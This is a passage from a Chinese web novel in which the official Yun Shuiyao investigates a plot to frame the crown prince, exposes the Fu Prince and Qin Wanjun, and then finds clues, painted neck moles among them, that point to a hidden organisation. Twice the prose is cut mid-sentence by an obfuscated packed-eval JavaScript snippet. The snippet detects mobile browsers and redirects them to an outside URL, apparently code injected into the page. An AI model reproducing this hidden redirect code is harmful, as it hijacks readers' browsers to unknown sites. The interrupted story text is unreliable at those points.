双鹊叩头道:“奴婢不敢说谎……” “你可有证据证明?” “这……奴婢不知道……秦娘子的丫环每次来找我,都是避开别人的……” 这时,有个小厮说道:“大人,我有一次好像看见双鹊在跟一个陌生的丫环说话,那陌生的丫环不像太子府上的。但当时小人还有事,就没在意。” 云水谣点了点头。 有了这个小厮的证词,云水谣就可以以此为借口,搜查福王府。 云水谣觉得,这次的事,太子肯定是被陷害的。 那么,陷害他的,八成就是福王了。 福王一向跟太子水火不容,这次他虽然重伤,却没有伤及命脉,全是皮外伤,哪有这么凑巧的事? 应该就是他联合那些刺客在做戏了。 那些刺客表面上攻击福王,实际上根本不会真的危及福王的性命。 现在还有一个问题,就是那封书信的笔迹为何会跟瀚海国宰相乌斯齐的笔迹一样? 190.串谋 云水谣想起,秦婉君的字本来就写得不错,可以写得跟印刷体一模一样。那么,她也许也有模仿别人笔迹的能力。 云水谣问双鹊:“你为什么要收秦娘子的贿赂,陷害太子?你不是太子府的人吗?” “我……我一开始不同意的,但是秦娘子给得太多了,我就动心了……” 云水谣摇了摇头,让人把双鹊和刚才做过证的几个下人一起带走。 接着,云水谣去皇帝面前禀告了自己的调查结果,提出想搜查福王府。 皇帝不想同意,说道:“福王怎么可能陷害太子?” 云水谣心想,福王陷害太子的次数可多了,两只手都数不过来。 她对皇帝说道:“皇上,现在福王有嫌疑,肯定要搜查一下才放心。刚才太子府的几个下人招供的时候,很多人都听见了。如果皇上不让臣搜查福王府,反而会引起其他人不必要的猜测。而且,若是太子当真无辜,却被治罪,想必先皇后在天之灵也不会安宁。” 皇帝这才点头道:“好吧,朕准你搜查。” 皇帝派给云水谣一队御林军,云水谣带着士兵包围了福王府,进行搜查。 这会福王和侍妾们都在宫中,王府内没有正经主子,只有下人和王府的属官在,所以搜查进行得很顺利。 所有的王府属官、下人都被集中在院子里,不能随意走动。 士兵们逐一搜查所有房间,重点是搜查福王和姬妾们的房间。 大约一个时辰后,有个士兵前来禀告:“大人,从秦娘子的房间搜出来一封书信。” 云水谣打开书信一看,这封信有头有尾,是瀚海国宰相乌斯齐写给福王的。 信上详细写了设局构陷太子的方式,乌斯齐先是派了一个精通兽语的人,让他帮忙召唤红腹锦鸡来福王府飞翔,让众人都以为是祥瑞,帮助福王复宠。 接着,大夏官员中的细作偷偷向皇上提议,让福王跟太子一起参加祭天仪式。 一旦皇帝同意,那么在祭天仪式当天福王遇刺,太子就很有嫌疑。 信中还详细写了祭天仪式当天,细作们会如何行动,包括先派出几名黑衣刺客来行刺,然后金吾卫中的细作假意帮忙御敌,过一会再攻击福王,造成出其不意的效果。 福王和太子无处可逃,太子一定会选择逃往树林中。树林中某处有机关,太子会掉下去,到时候福王跟刺客们一起夹击太子,争取把太子杀死,嫁祸在刺客头上。 就算没有杀死太子,也可以治太子一个刺杀兄弟的罪名,无论怎么样都不亏。 刺客们会假装攻击福王,但不会伤到要害,保证让福王看起来伤得很重,但实际上能活下去。 同时,信中还写到,瀚海国帮福王成为太子,福王将来要送给瀚海国十座城池作为报答。 在信的末尾,还写了乌斯齐赠送福王玉石紫葡萄一串、双龙玉佩一个、三足芙蓉石熏炉一个、玻璃描金花盖罐一个,聊表友谊。 云水谣心中十分激动。有了这份信,足以证明太子是清白的,勾结瀚海国宰相的人是福王,而不是太子。 而福王遇刺一事,也是自导自演。 接着,士兵们又从福王的库房里搜出了四样宝物:玉石紫葡萄一串、双龙玉佩一个、三足芙蓉石熏炉一个、玻璃描金花盖罐一个。 这又跟信中所言对上了。 同时,刑部那边也传来消息,说是经过查证,那几个反叛的金吾卫确实是瀚海国人无疑。 云水谣带着这些证据,重新进宫面见皇帝。 皇帝起初不敢置信,但物证俱在,容不得他不信。 他让福王和秦婉君过来对质,福王一瘸一拐地过来,看见这些物证后,非常惊讶,道:“父皇,这些东西儿臣从未见过!一定是太子诬陷儿臣!” 皇帝怒道:“这些物证都是板上钉钉的,你还敢抵赖!来人,剥去福王的衣服和绷带!” 士兵们上前,把福王的衣服和绷带去了,露出福王身体上的伤口。 皇帝道:“你身上的这些伤口,全都细长狭窄,而太子的剑并不是这样的形制,也就是说,没有一道伤口是太子所伤。而你的伤口看着可怖,实际上全是皮外伤,有这么凑巧的事吗?你会受这么多伤,足以证明你的武功远不如那些刺客。在这种情况下,你怎么可能不受致命伤? 这只有一种解释,就是你跟那些刺客是串通好的!” “不是这样的,父皇,请您再去查……云水谣一定和太子勾.结,要陷害儿臣……” 秦婉君看见这些物证,吓得瘫倒在地,对福王道:“王爷,我们还是招了吧,不要再触怒皇上了……” 福王震惊道:“你说什么?你……” 皇帝对福王道:“你闭嘴!秦姨娘,你来说!” 秦婉君声音低沉,似乎被抽走了全身的力气:“回皇上,这封信确实是瀚海国宰相乌斯齐所写,这几样宝物也是乌宰相送给王爷的。至于祭天仪式上发生的刺杀事件,也是王爷按照乌宰相的安排,诬陷太子……” “那太子府那封不清不楚的书信,也是乌斯齐所写?” “对,乌斯齐特意写了这封信,让我们想办法放在太子府中,这也可以坐实太子通敌的罪名……” 福王对秦婉君怒目而视:“你这贱.人,没做过的事,为什么要认?” 秦婉君哀伤道:“一切都是妾身的主意,妾身只是想帮助王爷成为太子,王爷都是受了妾身的蛊惑,才做下这些错事。皇上,罪在妾身一人,妾身愿以死谢罪,请皇上饶恕福王。” 说着,秦婉君飞快地抽出旁边侍卫的剑,抹了脖子! 鲜血飞溅,落在在场每个人的身上。 而秦婉君就此倒了下去,像一朵被风吹落的花。 福王又是害怕,又是震惊,说道:“这个贱.人,竟然用死来诬陷我……” 皇帝震怒,将福王、皇后贬为庶人,关进宗正寺,终身不得出。 秦婉君的尸体扔进乱葬岗。 太子府侍女双鹊,被秦婉君收买,把通敌的书信放进太子的书房,也处以死刑,尸体扔入乱葬岗。 金吾卫秦朝阳、万迎松、金昌三人,是敌国细作,参与行刺福王、构陷太子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168905|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,也被处死。 同时,立德妃为贵妃,摄六宫事。 太子无罪释放,赏银三千两,赐珠宝十箱,以作安慰。 太子对皇帝说,此次自己能洗刷冤屈,云水谣功不可没,请求皇帝给云水谣“同中书门下平章事”的头衔,让云水谣成为宰相之一。 按照大夏的制度,尚书省、中书省和门下省的长官都是宰相。 除此之外,其他官员也可以当宰相,只要加一个“同中书门下平章事”的头衔即可。 皇帝同意了太子的提议,加封云水谣“同中书门下平章事”的头衔,云水谣从此有了女相的名号。 不过她的本职工作还是大理寺卿,只是在皇帝召集众宰相议事时,云水谣也得以参与,共商国家大事。 同时,皇帝记得对云水谣的承诺,只要她成为女相,就赦免她流放岭南的家人。 很快,皇帝的赦令就下达了,云水谣的家人即将从岭南回来,估计一个月就能到了。 云水谣听说自己的家人大部分都还在,只有一个妹妹因为体弱,已经病逝在岭南。 这样的结果,已经算好的了。 云水谣心中悲喜交集,只盼着快点跟家人团聚。 云水谣又向皇帝奏请,自己身边有个叫柳依依的下属,这么多年来一直帮自己办事,尽心尽力,且很有才华,请求皇帝封柳依依一个小官。 皇帝封柳依依为大理寺主簿,以后她继续辅佐云水谣。 虽然封一个普通女子为官是前所未有的,但柳依依确实对云水谣有很大的帮助,且勤于公事,确实是个循吏。既有才能,得到一个小小的官位也无不可。 为了庆祝柳依依成为正式官员,云水谣在酒楼请她吃饭。 不过,柳依依却并没有很高兴的样子。 云水谣问道:“依依,你有心事?” 柳依依道:“我在想秦婉君的事……她本是一个优秀的话本先生,靠自己也能活得很好,为何要嫁给福王为妾,还帮着他做坏事,最终落得个身死魂消的下场?” 云水谣道:“也许,她一直都是福王的暗线,她没得选。从一开始,她做话本先生时,只怕就不是自由的。她做话本先生所得的收入,应该也是交给了福王。后来福王需要她留在自己身边做事,就纳了她为妾,这样方便些。而且,直到最后一刻,她还在维护福王,把所有罪责都揽到了自己身上。 这就是她们这些做棋子的可悲之处。” “嗯,也许她从小就是福王培养的棋子吧……她有如此才华,却身不由己,实在令人哀叹。大人,我想去乱葬岗祭拜一下她。” “也好,今日无事,我也一起去吧。” 她们来到乱葬岗,一眼就看见了秦婉君的尸体。 秦婉君浑身发白,脖子上有一道很深的伤口,看着倒不可怖,只是有几分凄婉。 柳依依点燃了三炷香,对着秦婉君的尸体道:“秦婉君,希望你来世做个自由的人,不再受人辖制。” 她把三炷香插在秦婉君的尸体附近。 这时,柳依依忽然道:“不对……” 191.小痣 云水谣问道:“哪里不对?” 柳依依只是盯着秦婉君的脖子看,没有说话。 云水谣也看了看秦婉君的脖子,问柳依依:“你在看什么?” “大人,柳依依的右边脖子上本来有颗痣的,现在没有了。” “什么?你确定吗?” “确定。” 云水谣仔细看了看秦婉君的右边脖子,那里的皮肤十分光滑,没有痣和疤痕。 云水谣道:“她是抹脖子死的,也许是自刎的时候把那颗痣所在的位置也割开了。” “不是,她那颗痣的位置离伤口较远,应该不至于被割开,那颗痣就是忽然消失了的。” “奇怪,痣怎么会消失呢?” “我也不知道……难道我记错了……可是不应该啊……” “你为什么会记得她脖子上有颗痣?” “因为我第一次见到她的时候,觉得她长得很完美,就多看了几眼。那时候,我注意到她脖子上有颗痣,当时我还想,如果没有这颗痣,就更完美了。” “这样啊……会不会是你看错了?” “我没看错……算了,这种细节不重要。” 云水谣却觉得事情有些不寻常,好像有什么重要的事情忘记了。 秦婉君的尸体旁边,就是太子府侍女双鹊的尸体。云水谣看了一眼,并未在意,但柳依依却盯着双鹊的尸体看。 云水谣问:“你在看什么?” 柳依依道:“双鹊的右边脖子上也有颗痣的,但现在也没有了。” “什么?” 云水谣仔细看了看双鹊的脖子,发现很干净,什么都没有。 双鹊是被灌了毒药死的,只有嘴唇发黑而已。 云水谣道:“你确定双鹊脖子上也有颗痣?” “对,当时我无意间注意到的。” “但是她们两个人的痣怎么会同时消失呢?” “我也不知道,难道又是我看错了?” “同时看错两次的概率不大,不如去查查这件事。” “这有什么好查的?兴许是我记错了。” 云水谣道:“不,我总觉得事情好像没那么简单。” 云水谣回去之后,暗中派人走访了熟悉双鹊和秦婉君的人,询问这两人脖子上有没有痣。 大部分人没注意,但也有几个人信誓旦旦地说,双鹊和秦婉君脖子上确实有颗痣。 得到这样的结果后,云水谣陷入了沉思。 她叫来柳依依,说道:“你没记错,双鹊和秦婉君的脖子上本来是有痣的。” “那痣又是如何消失的?” “只有一种解释,就是那颗痣是她们用黑色颜料画上去的,本来是没有的。她们俩死的那天,下了一场雨。她们的尸体经过雨水的冲刷,不仅血迹被冲掉,脖子上画出来的黑痣也被冲刷干净了。” “她们为何要在脖子上画一颗痣?” “不知道……” 在脖子上画一颗黑痣,非但起不到美容的效果,反而适得其反。 云水谣想不明白,但这件事她一直心存疑惑。 这天她回家的路上,见到两个百姓在争一头牛。 其中一个百姓说道:“这头牛是我的!” 另一个百姓说:“这头牛明明是我的!我家的牛都有圆形的烙印,就在左边耳朵上。” 这头牛的左耳果然有圆形烙印,先前那百姓又说道:“你明明是先看到这个圆形烙印,才这么说的!” 第二个百姓道:“我家还有其他的牛,左耳上全都有圆形烙印,你要是不信,就去我家看看。” 见他这么说,第一个百姓心虚了,直接离开了,围观百姓也纷纷离去。 云水谣本来没在意,但突然想到了什么,去找柳依依,说道:“我明白秦婉君和双鹊为什么要在自己的脖子上画一颗痣了。” 柳依依问道:“为什么?” “秦婉君和双鹊可能同属于一个神秘组织,这个组织很大,成员之间彼此未必认识,那么就要通过一种手段来辨认。而她们的手段,就是在脖子上画一颗黑痣。” 柳依依恍然大悟:“原来是这样……照这么说,其实秦婉君跟双鹊本来就是一伙的,秦婉君用不着收买她。那么,双鹊应该也是福王的人。” 云水谣摇头道:“未必。” “大人这是何意?秦婉君是福王的棋子,双鹊跟秦婉君属于同一个组织,那双鹊自然是福王的人。” “我觉得,此案还是存在一些疑点,只是之前我没有注意。首先,秦婉君认罪的时候,福王的表情是很震惊、很愤怒的,他似乎想不到秦婉君会那样说。万一福王的震惊发自内心,而不是装出来的呢?” “您的意思是,秦婉君表面上是福王的人,实际上另有主子?” “对。福王遇刺的案子,你也全程在场,你有没有发现两点可疑之处,第一就是丫环双鹊招供得太快了,第二就是秦婉君也招供得太快了。” 柳依依点头:“是的,按照我们以往的审案经验,嫌疑人往往会多加抵赖,等到实在没办法的时候才会招供。” “没错,双鹊很快就供出了秦婉君,秦婉君也很快承认了她和福王的罪行,好像生怕我们反应过来似的,她们要急切地定下福王的罪。秦婉君更是以命入局,以迅雷不及掩耳之势自尽,更加让我们觉得福王有罪,秦婉君是畏罪自杀。而且,我刚才仔细回想了案情,发现还有一处疑点。” “什么疑点?” “太子说起当日遇刺的场景时,曾经提到,他拉着福王跑进树林,不小心踩到机关,掉入暗道之中。当时,福王已经受伤,躲在太子身后,主要是太子在跟那些刺客打斗。过了一会,福王忽然攻击太子。” “没错,太子是这么说的,有什么问题吗?” “如果福王一开始就决定趁着这次机会杀了太子,在两人掉落地道的那一瞬间,福王就应该开始攻击太子,而不是在太子身后躲了一会,才开始攻击。福王的行为,更像是临时起意。 他当时可能没想到自己会遇刺,所以一开始比较慌乱。他见太子保护他,自然而然地依赖太子。但是他突然起了歹心,觉得趁此机会杀了太子也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173391|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,还可以把罪责推在刺客身上。他起了这个心思之后,才开始攻击太子的。” 柳依依点头道:“不错,大人所言比较合理……那么,如果福王遇刺一事,既不是太子策划,也不是福王策划,那会是谁呢?” “不知道,还有待查证。现在我们要去见见太子和福王,验证一下我们的猜测。” 这会已经是晚饭时分,不过太子应该还没休息,云水谣便决定直接去拜访。 很快,云水谣和柳依依便来到了太子府。 云水谣请门房通报之后,太子很快请她们进去。 云水谣把自己近几日的发现告诉太子,并询问太子:“祭天仪式当天,福王在你们掉落山道之后,是不是没有第一时间攻击您,而是躲藏了一会,才突然攻击的?” 太子道:“确实如此。照你所言,福王确实像是临时起意,并非早有预谋。否则,他应该早点对我动手。只是,这么一来,真相似乎更加复杂了。难道福王也是被诬陷的?” 云水谣:“下官也不太清楚。殿下可知道有哪个组织的成员是在右边脖子上画一颗痣的吗?” 太子道:“孤没听说过,不过可以派人打听一下。” “有劳太子殿下。下官现在去见见福王,但福王被关在宗正寺,下官可能进不去,不知太子殿下可有办法?” “你们带上孤的令牌,就能进去了。再带上一个食盒,就说孤特意让你们送些食物给福王和废后吃。这样,就算事情传扬出去,别人也不会起疑心,只会觉得孤在以德报怨,惦记着牢里的弟弟。” “是。” 太子把自己的令牌和食盒交给了云水谣,云水谣和柳依依马上出发去宗正寺。 宗正寺的长官已经下职,只有几个小吏守着。 云水谣出示了太子的令牌,说明来意,小吏们赶紧迎接云水谣进去,并亲自带路,带云水谣和柳依依去了关押福王和废后的牢房。 宗正寺关押的都是犯罪的宗亲,随便一个犯人都曾经有显赫的身份。不过,一进了宗正寺的牢房,那便是落毛凤凰不如鸡了。 福王和废后也是如此,她们母子俩被贬为庶人,蓬头垢面,精气神全无,完全没有以前那种趾高气扬的样子。 云水谣把食盒递过去,说是太子给的,福王不愿接受,反而对着云水谣吐了一口痰。 云水谣并不在意,反正也没吐到自己身上。 倒是废后把食盒接了过去,狼吞虎咽地吃着。看她这样子,在监狱里的伙食应该很差。 福王有些不悦:“母后,您吃太子的东西干什么?小心他下毒。” 废后道:“太子不会下毒的。” 云水谣听得想笑。 看来废后和福王心里都都明白太子是什么样的人,但她们为了自己的利益,还是疯狂地构.陷太子。 如今也算是自食其果了。 云水谣屏退下人,对福王道:“福王殿下,我知道你是被冤枉的。” 福王眼神一亮,跑到牢房门口,眼巴巴地看着云水谣:“你知道我是冤枉的?你能救我出去对不对?”